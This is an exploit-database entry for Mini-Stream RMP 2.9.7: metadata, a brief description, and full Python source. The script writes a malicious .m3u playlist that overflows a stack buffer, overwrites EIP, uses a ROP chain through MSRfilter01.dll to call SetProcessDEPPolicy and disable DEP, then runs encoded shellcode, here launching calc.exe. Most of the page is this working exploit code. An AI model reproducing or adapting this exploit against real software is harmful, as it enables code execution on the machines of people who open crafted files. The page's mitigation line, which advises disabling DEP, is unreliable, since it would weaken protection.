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Suggest Exploit
vendor:
Mini-Stream RMP
by:
Blake
7.2
CVSS
HIGH
Bypass DEP Policy
787
CWE
Product Name: Mini-Stream RMP
Affected Version From: 2.9.2007
Affected Version To: 2.9.2007
Patch Exists: NO
Related CWE: N/A
CPE: a:ministream:mini-stream_rmp:2.9.7
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Windows XP SP3
2020

Mini-Stream 2.9.7 DEP Bypass

This exploit is written to bypass the OptIn/OptOut DEP policy of Mini-Stream 2.9.7. It is tested on Windows XP SP3 running in virtualbox. The exploit creates a malicious .m3u file which contains a buffer of 26084 A's followed by the return address of MSRfilter01.dll, a ROP chain to compensate for the stack alignment and a shellcode to execute calc.exe.

Mitigation:

Disable the DEP policy or upgrade to the latest version of Mini-Stream 2.9.7.
Source

Exploit-DB raw data:

# written to bypass OptIn/OptOut DEP policy
# tested on windows xp sp3 running in virtualbox
import sys

print "\n============================"
print "Mini-Stream 2.9.7 DEP Bypass"
print "      Written by Blake      "
print "   Tested on Windows XP SP3 "
print "============================\n"
 
# calc.exe
shellcode =(
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44"
"\x42\x30\x42\x50\x42\x30\x4b\x48\x45\x54\x4e\x43\x4b\x38\x4e\x47"
"\x45\x50\x4a\x57\x41\x30\x4f\x4e\x4b\x58\x4f\x54\x4a\x41\x4b\x38"
"\x4f\x45\x42\x42\x41\x50\x4b\x4e\x49\x44\x4b\x38\x46\x33\x4b\x48"
"\x41\x50\x50\x4e\x41\x53\x42\x4c\x49\x59\x4e\x4a\x46\x58\x42\x4c"
"\x46\x57\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e"
"\x46\x4f\x4b\x53\x46\x55\x46\x32\x46\x50\x45\x47\x45\x4e\x4b\x58"
"\x4f\x45\x46\x52\x41\x50\x4b\x4e\x48\x56\x4b\x58\x4e\x50\x4b\x44"
"\x4b\x48\x4f\x55\x4e\x41\x41\x30\x4b\x4e\x4b\x58\x4e\x41\x4b\x38"
"\x41\x50\x4b\x4e\x49\x48\x4e\x45\x46\x32\x46\x50\x43\x4c\x41\x33"
"\x42\x4c\x46\x46\x4b\x38\x42\x44\x42\x53\x45\x38\x42\x4c\x4a\x47"
"\x4e\x30\x4b\x48\x42\x44\x4e\x50\x4b\x58\x42\x37\x4e\x51\x4d\x4a"
"\x4b\x48\x4a\x36\x4a\x30\x4b\x4e\x49\x50\x4b\x38\x42\x58\x42\x4b"
"\x42\x50\x42\x50\x42\x50\x4b\x38\x4a\x36\x4e\x43\x4f\x45\x41\x53"
"\x48\x4f\x42\x46\x48\x35\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x57"
"\x42\x45\x4a\x36\x42\x4f\x4c\x38\x46\x30\x4f\x35\x4a\x46\x4a\x39"
"\x50\x4f\x4c\x38\x50\x50\x47\x55\x4f\x4f\x47\x4e\x43\x46\x41\x46"
"\x4e\x46\x43\x36\x42\x50\x5a")
 
buffer = "\x41" * 26084
eip = "\x95\x3a\x02\x10"	# RETN - MSRfilter01.dll
rop = "\x41" * 4			# compensate
rop += "\x54\x30\x01\x10"	# POP EBX, RETN - MSRfilter01.dll
rop += "\xff\xff\xff\xff"
rop += "\x23\xda\x02\x10"	# INC EBX, FPATAN, RETN - MSRfilter01.dll
rop += "\x8f\xaf\x01\x10"	# POP EBP, RETN - MSRfilter01.dll
rop += "\xa4\x22\x86\x7c"	# SetProcessDEPPolicy
rop += "\x8f\xf4\x01\x10"	# POP EDI, RETN - MSRfilter01.dll
rop += "\x90\xf4\x01\x10"	# RETN - MSRfilter01.dll
rop += "\xd5\x13\x01\x10"	# POP ESI, RETN - MSRfilter01.dll
rop += "\x90\xf4\x01\x10"	# RETN - MSRfilter01.dll
rop += "\x63\xf5\x01\x10"	# PUSHAD, RETN - MSRfilter01.dll
nops = "\x90" * 100
junk = "\x43" * (4000 - len(shellcode + nops + rop))


print "[+] Creating malicious .m3u file"
try:
    file = open("exploit.m3u","w")
    file.write(buffer + eip + rop + nops + shellcode + junk)
    file.close()
    print "[+] File created"
except:
    print "[x] Could not create file"
 
raw_input("\nPress any key to exit...\n")